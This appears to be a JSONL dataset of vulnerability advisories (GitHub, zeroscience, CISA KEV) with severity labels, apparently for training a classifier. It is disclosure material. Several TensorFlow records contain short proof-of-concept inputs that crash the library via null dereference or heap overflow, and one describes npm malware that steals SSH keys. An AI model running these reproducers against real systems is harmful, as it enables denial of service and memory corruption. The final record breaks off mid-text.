-{"id": "680efa85a43d452738a2", "text": "grunt-images downloads Resources over HTTP\n\nAffected versions of `grunt-images` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `grunt-images`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2013.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "grunt-images downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `grunt-images` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `grunt-images`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2013.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "45d06a13c75860f1f49d", "text": "Weak JSON Web Token in yapi-vendor\n\nWeak JSON Web Token (JWT) signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users' JWT tokens. This occurs because Math.random in Node.js is used as a source of randomness in jwt signing. Math.random does not provide cryptographically secure random numbers. This has been patched in version 1.9.3.", "text_raw": "Weak JSON Web Token in yapi-vendor\n\n[Severity: MEDIUM]\n\nWeak JSON Web Token (JWT) signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users' JWT tokens. This occurs because Math.random in Node.js is used as a source of randomness in jwt signing. Math.random does not provide cryptographically secure random numbers. This has been patched in version 1.9.3.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-26", "split": "train"}
-{"id": "2adb3a600a9c95c9c2d4", "text": "Prefix escape\n\n### Impact\n\nBy crafting a specific URL, it is possible to escape the prefix of the proxied backend service.\nIf the base url of the proxied server is `/pub/`, a user expect that accessing `/priv` on the target service would not be possible. Unfortunately, it is.\n\n### Patches\n\nA patch have been submitted by Corey Farrell git@cfware.com, the reporter.\nAll releases after v4.0.2 include the fix.\n\n### Workarounds\n\nThere are no workaround available.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-reply-from](https://github.com/fastify/fastify-reply-from)\n* Email us at [hello@matteocollina.com](mailto:hello@matteocollina.com)", "text_raw": "Prefix escape\n\n[Severity: CRITICAL]\n\n### Impact\n\nBy crafting a specific URL, it is possible to escape the prefix of the proxied backend service.\nIf the base url of the proxied server is `/pub/`, a user expect that accessing `/priv` on the target service would not be possible. Unfortunately, it is.\n\n[CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)\n\n### Patches\n\nA patch have been submitted by Corey Farrell git@cfware.com, the reporter.\nAll releases after v4.0.2 include the fix.\n\n### Workarounds\n\nThere are no workaround available.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-reply-from](https://github.com/fastify/fastify-reply-from)\n* Email us at [hello@matteocollina.com](mailto:hello@matteocollina.com)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-03", "split": "train"}
-{"id": "5402463363aa3d34a534", "text": "FLIR Systems FLIR Thermal Traffic Cameras Websocket Device Manipulation", "text_raw": "FLIR Systems FLIR Thermal Traffic Cameras Websocket Device Manipulation\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2018-10-06", "split": "train"}
-{"id": "3ca4fc367260d63d4ad0", "text": "Path Traversal in Apache Flink\n\nA change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. Access is restricted to files accessible by the JobManager process. All users should upgrade to Flink 1.11.3 or 1.12.0 if their Flink instance(s) are exposed. The issue was fixed in commit b561010b0ee741543c3953306037f00d7a9f0801 from apache/flink:master.", "text_raw": "Path Traversal in Apache Flink\n\n[Severity: HIGH]\n\nA change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. Access is restricted to files accessible by the JobManager process. All users should upgrade to Flink 1.11.3 or 1.12.0 if their Flink instance(s) are exposed. The issue was fixed in commit b561010b0ee741543c3953306037f00d7a9f0801 from apache/flink:master.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-06", "split": "train"}
-{"id": "c95e3c0c8c12b1d05247", "text": "Withdrawn\n\nWithdrawn: Duplicate of GHSA-vgrx-w6rg-8fqf", "text_raw": "Withdrawn\n\n[Severity: MEDIUM]\n\nWithdrawn: Duplicate of GHSA-vgrx-w6rg-8fqf", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-03", "split": "train"}
-{"id": "2f0b11c49f57208c5f40", "text": "Prototype pollution vulnerability in 'patchmerge'\n\nPrototype pollution vulnerability in 'patchmerge' versions 1.0.0 through 1.0.1 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution vulnerability in 'patchmerge'\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'patchmerge' versions 1.0.0 through 1.0.1 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-13", "split": "train"}
-{"id": "328906f6b987f7b2f7f6", "text": "The validator module before 1.1.0 for Node.js allows remote attackers to bypass the XSS filter via a nested tag.", "text_raw": "Moderate severity vulnerability that affects validator\n\n[Severity: MEDIUM]\n\nThe validator module before 1.1.0 for Node.js allows remote attackers to bypass the XSS filter via a nested tag.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "d0b6bce148e350303fe1", "text": "Improper Authentication in org.keycloak:keycloak-core\n\nIt was found that the keycloak before 2.3.0 did not implement authentication flow correctly. An attacker could use this flaw to construct a phishing URL, from which he could hijack the user's session. This could lead to information disclosure, or permit further possible attacks.", "text_raw": "Improper Authentication in org.keycloak:keycloak-core\n\n[Severity: HIGH]\n\nIt was found that the keycloak before 2.3.0 did not implement authentication flow correctly. An attacker could use this flaw to construct a phishing URL, from which he could hijack the user's session. This could lead to information disclosure, or permit further possible attacks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "188b702f56cbac8df1f7", "text": "Rockwell Automation RSLinx Classic and FactoryTalk Linx Gateway Privilege Escalation", "text_raw": "Rockwell Automation RSLinx Classic and FactoryTalk Linx Gateway Privilege Escalation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-06-10", "split": "train"}
-{"id": "d98fbe4e8db54f40d7c2", "text": "Downloads Resources over HTTP in fibjs\n\nAffected versions of `fibjs` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `fibjs`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in fibjs\n\n[Severity: HIGH]\n\nAffected versions of `fibjs` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `fibjs`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "94eda49abfb210e82c5a", "text": "Null pointer dereference in TFLite\n\n### Impact\nAn attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:\n\n```python\nimport tensorflow as tf\n\nmodel = tf.keras.models.Sequential()\nmodel.add(tf.keras.Input(shape=(1, 2, 3)))\nmodel.add(tf.keras.layers.Dense(0, activation='relu'))\n\nconverter = tf.lite.TFLiteConverter.from_keras_model(model)\ntflite_model = converter.convert()\n\ninterpreter = tf.lite.Interpreter(model_content=tflite_model)\ninterpreter.allocate_tensors()\n\ninterpreter.invoke()\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285) unconditionally dereferences a pointer.\n\n```cc\n  if (y4 > 1) {\n    // ...\n  } else {\n    for (int i0 = 0; i0 < y0; ++i0) {\n      const T* input2_data_ptr = nullptr;\n      for (int i1 = 0; i1 < y1; ++i1) {\n        input2_data_ptr = input2_data_reset;\n        for (int i2 = 0; i2 < y2; ++i2) {\n          scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr,\n                             output_data_ptr);\n        }\n      }\n    }\n  }\n```\n\n### Patches\nWe have patched the issue in GitHub commit [15691e456c7dc9bd6be203b09765b063bf4a380c](https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "text_raw": "Null pointer dereference in TFLite\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:\n\n```python\nimport tensorflow as tf\n\nmodel = tf.keras.models.Sequential()\nmodel.add(tf.keras.Input(shape=(1, 2, 3)))\nmodel.add(tf.keras.layers.Dense(0, activation='relu'))\n\nconverter = tf.lite.TFLiteConverter.from_keras_model(model)\ntflite_model = converter.convert()\n\ninterpreter = tf.lite.Interpreter(model_content=tflite_model)\ninterpreter.allocate_tensors()\n\ninterpreter.invoke()\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285) unconditionally dereferences a pointer.\n\n```cc\n  if (y4 > 1) {\n    // ...\n  } else {\n    for (int i0 = 0; i0 < y0; ++i0) {\n      const T* input2_data_ptr = nullptr;\n      for (int i1 = 0; i1 < y1; ++i1) {\n        input2_data_ptr = input2_data_reset;\n        for (int i2 = 0; i2 < y2; ++i2) {\n          scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr,\n                             output_data_ptr);\n        }\n      }\n    }\n  }\n```\n\n### Patches\nWe have patched the issue in GitHub commit [15691e456c7dc9bd6be203b09765b063bf4a380c](https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "5d288389c65ddcfa78ac", "text": "CableTEL's Triple Play v1.0 (login.php) Remote Login Bypass SQL Injection Vuln", "text_raw": "CableTEL's Triple Play v1.0 (login.php) Remote Login Bypass SQL Injection Vuln\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-02-22", "split": "train"}
-{"id": "ab3194f2fa301fe54230", "text": "SOCA Access Control System 180612 CSRF Add Admin Exploit", "text_raw": "SOCA Access Control System 180612 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-05-13", "split": "train"}
-{"id": "3507afe211a9dd87f3d2", "text": "Denial of service vulnerability exists when .NET and .NET Core improperly process XML documents\n\nMicrosoft .NET Framework 1.1, 2.0, 3.0, 3.5, 3.5.1, 4, 4.5, 4.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 and 5.7 and .NET Core 1.0. 1.1 and 2.0 allow a denial of service vulnerability due to the way XML documents are processed, aka \".NET and .NET Core Denial Of Service Vulnerability\". This CVE is unique from CVE-2018-0765.", "text_raw": "Denial of service vulnerability exists when .NET and .NET Core improperly process XML documents\n\n[Severity: HIGH]\n\nMicrosoft .NET Framework 1.1, 2.0, 3.0, 3.5, 3.5.1, 4, 4.5, 4.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 and 5.7 and .NET Core 1.0. 1.1 and 2.0 allow a denial of service vulnerability due to the way XML documents are processed, aka \".NET and .NET Core Denial Of Service Vulnerability\". This CVE is unique from CVE-2018-0765.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "b7b7b86b614a86653963", "text": "cookie-signature Timing Attack\n\nAffected versions of `cookie-signature` are vulnerable to timing attacks as a result of using a fail-early comparison instead of a constant-time comparison.\n\nTiming attacks remove the exponential increase in entropy gained from increased secret length, by providing per-character feedback on the correctness of a guess via miniscule timing differences.\n\nUnder favorable network conditions, an attacker can exploit this to guess the secret in no more than `charset*length` guesses, instead of `charset^length` guesses required were the timing attack not present.\n\n## Recommendation\n\nUpdate to 1.0.4 or later.", "text_raw": "cookie-signature Timing Attack\n\n[Severity: MEDIUM]\n\nAffected versions of `cookie-signature` are vulnerable to timing attacks as a result of using a fail-early comparison instead of a constant-time comparison. \n\nTiming attacks remove the exponential increase in entropy gained from increased secret length, by providing per-character feedback on the correctness of a guess via miniscule timing differences.\n\nUnder favorable network conditions, an attacker can exploit this to guess the secret in no more than `charset*length` guesses, instead of `charset^length` guesses required were the timing attack not present. \n\n\n\n## Recommendation\n\nUpdate to 1.0.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-06", "split": "train"}
-{"id": "f4c77a53b5e9593b0cdb", "text": "Cross-site Scripting vulnerability in Kitodo.Presentation\n\n### Impact\nKitodo.Presentation fails to properly encode URL parameters for output in HTML making it vulnerable to Cross Site Scripting (XSS). Only sites using the `ListView`, `Navigation` or `PageView` plugins are affected.\n\nIt also includes jQuery 3.4.1 which is known to be vulnerable against Cross Site Scripting, although there is currently no known way to exploit this in Kitodo.Presentation.\n\n### Patches\nAn updated version of Kitodo.Presentation is available on [GitHub](https://github.com/kitodo/kitodo-presentation/releases/tag/v3.1.2), [Packagist](https://packagist.org/packages/kitodo/presentation#v3.1.2) and in the [TYPO3 Extension Repository](https://extensions.typo3.org/extension/dlf/). Users are advised to update as soon as possible.\n\nThe issue was also fixed in release 2.3.1 of the 2.x branch, although it is generally not recommended to run this branch since it depends on an outdated TYPO3 version.\n\n### References\nTYPO3 Security Advisory [TYPO3-EXT-SA-2020-015](https://typo3.org/security/advisory/typo3-ext-sa-2020-015)\njQuery Security Advisory [GHSA-gxr4-xjj5-5px2](https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2)\nOpen Bug Bounty Report [OBB-1219978](https://www.openbugbounty.org/reports/1219978/)\n\n### Contact\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/kitodo/kitodo-presentation/issues/new/choose)\n* Email us at [security@kitodo.org](mailto:security@kitodo.org)", "text_raw": "Cross-site Scripting vulnerability in Kitodo.Presentation\n\n[Severity: MEDIUM]\n\n### Impact\nKitodo.Presentation fails to properly encode URL parameters for output in HTML making it vulnerable to Cross Site Scripting (XSS). Only sites using the `ListView`, `Navigation` or `PageView` plugins are affected.\n\nIt also includes jQuery 3.4.1 which is known to be vulnerable against Cross Site Scripting, although there is currently no known way to exploit this in Kitodo.Presentation.\n\n### Patches\nAn updated version of Kitodo.Presentation is available on [GitHub](https://github.com/kitodo/kitodo-presentation/releases/tag/v3.1.2), [Packagist](https://packagist.org/packages/kitodo/presentation#v3.1.2) and in the [TYPO3 Extension Repository](https://extensions.typo3.org/extension/dlf/). Users are advised to update as soon as possible.\n\nThe issue was also fixed in release 2.3.1 of the 2.x branch, although it is generally not recommended to run this branch since it depends on an outdated TYPO3 version.\n\n### References\nTYPO3 Security Advisory [TYPO3-EXT-SA-2020-015](https://typo3.org/security/advisory/typo3-ext-sa-2020-015)\njQuery Security Advisory [GHSA-gxr4-xjj5-5px2](https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2)\nOpen Bug Bounty Report [OBB-1219978](https://www.openbugbounty.org/reports/1219978/)\n\n### Contact\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/kitodo/kitodo-presentation/issues/new/choose)\n* Email us at [security@kitodo.org](mailto:security@kitodo.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-31", "split": "train"}
-{"id": "aa9c5c8bb69b23c2d474", "text": "Null pointer dereference in `CompressElement`\n\n### Impact\nIt is possible to trigger a null pointer dereference in TensorFlow by passing an invalid input to `tf.raw_ops.CompressElement`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.CompressElement(components=[[]])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/data/compression_utils.cc#L34) was accessing the size of a buffer obtained from the return of a separate function call before validating that said buffer is valid.\n\n### Patches\nWe have patched the issue in GitHub commit [5dc7f6981fdaf74c8c5be41f393df705841fb7c5](https://github.com/tensorflow/tensorflow/commit/5dc7f6981fdaf74c8c5be41f393df705841fb7c5).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for  more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360. Concurrently, it was resolved in `master` branch as it was also discovered internally and fixed before the report was handled.", "text_raw": "Null pointer dereference in `CompressElement`\n\n[Severity: HIGH]\n\n### Impact\nIt is possible to trigger a null pointer dereference in TensorFlow by passing an invalid input to `tf.raw_ops.CompressElement`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.CompressElement(components=[[]])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/data/compression_utils.cc#L34) was accessing the size of a buffer obtained from the return of a separate function call before validating that said buffer is valid.\n\n### Patches\nWe have patched the issue in GitHub commit [5dc7f6981fdaf74c8c5be41f393df705841fb7c5](https://github.com/tensorflow/tensorflow/commit/5dc7f6981fdaf74c8c5be41f393df705841fb7c5).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for  more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360. Concurrently, it was resolved in `master` branch as it was also discovered internally and fixed before the report was handled.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9b37c516596fe0111a87", "text": "festivaltts4r allows arbitrary command execution\n\nThe festivaltts4r gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a string to the (1) `to_speech` or (2) `to_mp3` method in `lib/festivaltts4r/festival4r.rb`.", "text_raw": "festivaltts4r allows arbitrary command execution\n\n[Severity: CRITICAL]\n\nThe festivaltts4r gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a string to the (1) `to_speech` or (2) `to_mp3` method in `lib/festivaltts4r/festival4r.rb`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "fb3654cac97c485fbbb9", "text": "qEngine CMS 6.0.0 Remote Code Execution", "text_raw": "qEngine CMS 6.0.0 Remote Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-03-25", "split": "train"}
-{"id": "86cb3170dabbb431cfc6", "text": "Regular Expression Denial of Service in trim\n\nAll versions of package trim lower than 0.0.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via trim().", "text_raw": "Regular Expression Denial of Service in trim\n\n[Severity: HIGH]\n\nAll versions of package trim lower than 0.0.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via trim().", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "d318f1968d0daffec38e", "text": "superagent vulnerable to zip bomb attacks\n\nAffected versions of `superagent` do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed.\n\nThis may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.\n\n## Recommendation\n\nUpdate to version 3.7.0 or later.", "text_raw": "superagent vulnerable to zip bomb attacks\n\n[Severity: MEDIUM]\n\nAffected versions of `superagent` do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed. \n\nThis may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.\n\n\n## Recommendation\n\nUpdate to version 3.7.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-09", "split": "train"}
-{"id": "5aa7e719cfcad4a100e5", "text": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains an unspecified vulnerability due to it failing to properly handle objects in memory causing privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k contains an unspecified vulnerability due to it failing to properly handle objects in memory causing privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "11c2d5d3147c0552d5d4", "text": "SQL Injection in waterline-sequel\n\nAffected versions of `waterline-sequel` are vulnerable to SQL injection in cases where user input is passed into the `like`, `contains`, `startsWith`, or `endsWith` methods.\n\n## Recommendation\n\nUpgrade to at least version 0.5.1", "text_raw": "SQL Injection in waterline-sequel\n\n[Severity: HIGH]\n\nAffected versions of `waterline-sequel` are vulnerable to SQL injection in cases where user input is passed into the `like`, `contains`, `startsWith`, or `endsWith` methods.\n\n\n\n## Recommendation\n\nUpgrade to at least version 0.5.1", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "ea015f310cda975f300a", "text": "Jinja2 sandbox escape vulnerability\n\nIn Pallets Jinja before 2.8.1, str.format allows a sandbox escape.", "text_raw": "Jinja2 sandbox escape vulnerability\n\n[Severity: HIGH]\n\nIn Pallets Jinja before 2.8.1, str.format allows a sandbox escape.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-10", "split": "train"}
-{"id": "b42cd99705776292907c", "text": "cofeescript is malware\n\nThe `cofeescript` package is a piece of malware that steals sensitive data such as a user's private SSH key and bash history, sending them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nIf you have found `cofeescript` installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your SSH keys, registry credentials, tokens, and any other sensitive credentials that may have been present in your bash history.\n\nAdditionally, any service which may have been exposed via credentials in your bash history or accessible via your ssh keys, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "cofeescript is malware\n\n[Severity: MEDIUM]\n\nThe `cofeescript` package is a piece of malware that steals sensitive data such as a user's private SSH key and bash history, sending them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nIf you have found `cofeescript` installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your SSH keys, registry credentials, tokens, and any other sensitive credentials that may have been present in your bash history.\n\nAdditionally, any service which may have been exposed via credentials in your bash history or accessible via your ssh keys, such as a database, should be reviewed for indicators of compromise as well.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "1c88767e5bcb317ef149", "text": "ImpressPages CMS v3.6 manage() Function Remote Code Execution Exploit", "text_raw": "ImpressPages CMS v3.6 manage() Function Remote Code Execution Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2013-11-01", "split": "train"}
-{"id": "387a968e9095731efeea", "text": "Verification check bypass in Gate One\n\nAn issue in Gate One 1.2.0 allows attackers to bypass to the verification check done by the origins list and connect to Gate One instances used by hosts not on the origins list.", "text_raw": "Verification check bypass in Gate One\n\n[Severity: MEDIUM]\n\nAn issue in Gate One 1.2.0 allows attackers to bypass to the verification check done by the origins list and connect to Gate One instances used by hosts not on the origins list.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "f230795e4f94ee33e898", "text": "Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "eff799b11a2ded53954d", "text": "Heap buffer overflow in `StringNGrams`\n\n### Impact\nAn attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams`:\n\n```python\nimport tensorflow as tf\n\nseparator = b'\\x02\\x00'    \nngram_widths = [7, 6, 11]\nleft_pad = b'\\x7f\\x7f\\x7f\\x7f\\x7f'\nright_pad = b'\\x7f\\x7f\\x25\\x5d\\x53\\x74'\npad_width = 50\npreserve_short_sequences = True\n\nl = ['', '', '', '', '', '', '', '', '', '', '']\n\ndata = tf.constant(l, shape=[11], dtype=tf.string)\n\nl2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 3]\ndata_splits = tf.constant(l2, shape=[116], dtype=tf.int64)\n\nout = tf.raw_ops.StringNGrams(data=data,\n    data_splits=data_splits, separator=separator,\n    ngram_widths=ngram_widths, left_pad=left_pad,\n    right_pad=right_pad, pad_width=pad_width,\n    preserve_short_sequences=preserve_short_sequences)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L171-L185) fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:\n\n```cc\nfor (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) {\n  int pad_width = get_pad_width(ngram_width);\n  int left_padding = std::max(0, pad_width - ngram_index);\n  int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 